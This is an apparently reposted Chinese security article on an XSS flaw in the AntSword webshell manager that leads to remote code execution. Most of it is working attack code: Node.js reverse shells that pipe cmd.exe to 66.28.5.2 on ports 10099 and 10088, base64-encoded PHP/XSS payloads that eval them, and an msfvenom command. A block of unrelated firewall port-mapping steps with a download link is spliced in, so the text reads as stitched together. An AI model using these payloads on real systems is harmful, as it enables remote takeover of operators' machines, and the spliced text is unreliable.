漏洞概述
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。2019年4月12日凌晨,有用户在中国蚁剑GitHub上提交了issue,称发现中国蚁剑存在XSS漏洞,借此可引起RCE。据悉,该漏洞是因为在webshell远程连接失败时,中国蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。
下载地址:链接:https://pan.baidu.com/s/1x8bXH-ph6wRCZcmIt_HHDw
提取码:rizb
名称:可以任意取名,建议与规则相关;
协议:可以选择TCP、UDP、ICMP,一个规则最好只选一个协议,不然容易出问题;
源区域:这个指的是外网所在的区域,我们事先配置好了每个接口一个区域,因此只要选对应接口即可,FW2选ETH4,FW1选ETH2;
外部端口:这里是外网供访问的端口号,可以填单个端口或者一个端口段,如8000-9000;
目标区域:这里填写的是前往内网服务器路由的出接口,以FW2为例,如果要映射服务器就填写ETH3;
内部IP地址:这里填写内网服务器的IP地址,在下拉框的最后可以输入ip按回车即可变为可选的ip;
内部端口:这里填写内部服务器要映射的端口,可以填单个端口或者一个端口段,如8000-9000。
将靶标Windows Server 2016上的phpcms平台映射到公网66.28.5.2的80端口上
如果没有关闭火绒,则会报僵尸网络攻击,并将攻击进行拦截。
var net = require("net"), sh = require("child_process").exec("cmd.exe"); var client = new net.Socket(); client.connect(10099, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10099端口上。
<?php header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA5OSwgIjY2LjI4LjUuMiIsIGZ1bmN0aW9uKCl7Y2xpZW50LnBpcGUoc2guc3RkaW4pO3NoLnN0ZG91dC5waXBlKGNsaWVudCk7c2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())'>"); ?>
msfvenom -p nodejs/shell_reverse_tcp LHOST=66.28.5.2 LPORT=10099 -f raw -o payload.js
<?php header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`KGZ1bmN0aW9uKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gImNtZCIgOiAiL2Jpbi9zaCI7IHZhciBuZXQgPSByZXF1aXJlKCJuZXQiKSwgY3AgPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksIHV0aWwgPSByZXF1aXJlKCJ1dGlsIiksIHNoID0gY3Auc3Bhd24oY21kLCBbXSk7IHZhciBjbGllbnQgPSB0aGlzOyB2YXIgY291bnRlcj0wOyBmdW5jdGlvbiBTdGFnZXJSZXBlYXQoKXsgY2xpZW50LnNvY2tldCA9IG5ldC5jb25uZWN0KDEwMDk5LCAiNjYuMjguNS4yIiwgZnVuY3Rpb24oKSB7IGNsaWVudC5zb2NrZXQucGlwZShzaC5zdGRpbik7IGlmICh0eXBlb2YgdXRpbC5wdW1wID09PSAidW5kZWZpbmVkIikgeyBzaC5zdGRvdXQucGlwZShjbGllbnQuc29ja2V0KTsgc2guc3RkZXJyLnBpcGUoY2xpZW50LnNvY2tldCk7IH0gZWxzZSB7IHV0aWwucHVtcChzaC5zdGRvdXQsIGNsaWVudC5zb2NrZXQpOyB1dGlsLnB1bXAoc2guc3RkZXJyLCBjbGllbnQuc29ja2V0KTsgfSB9KTsgc29ja2V0Lm9uKCJlcnJvciIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSkoKTs=`,`base64`).toString())'>"); ?>
var net = require("net"), sh = require("child_process").exec("cmd.exe"); var client = new net.Socket(); client.connect(10088, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10088端口上。
<?php header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA4OCwgIjY2LjI4LjUuMiIsIGZ1bmN0aW9uKCl7Y2xpZW50LnBpcGUoc2guc3RkaW4pO3NoLnN0ZG91dC5waXBlKGNsaWVudCk7c2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())'>"); ?>
文章来源:国科漏斗社区
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
多一个点在看多一条小鱼干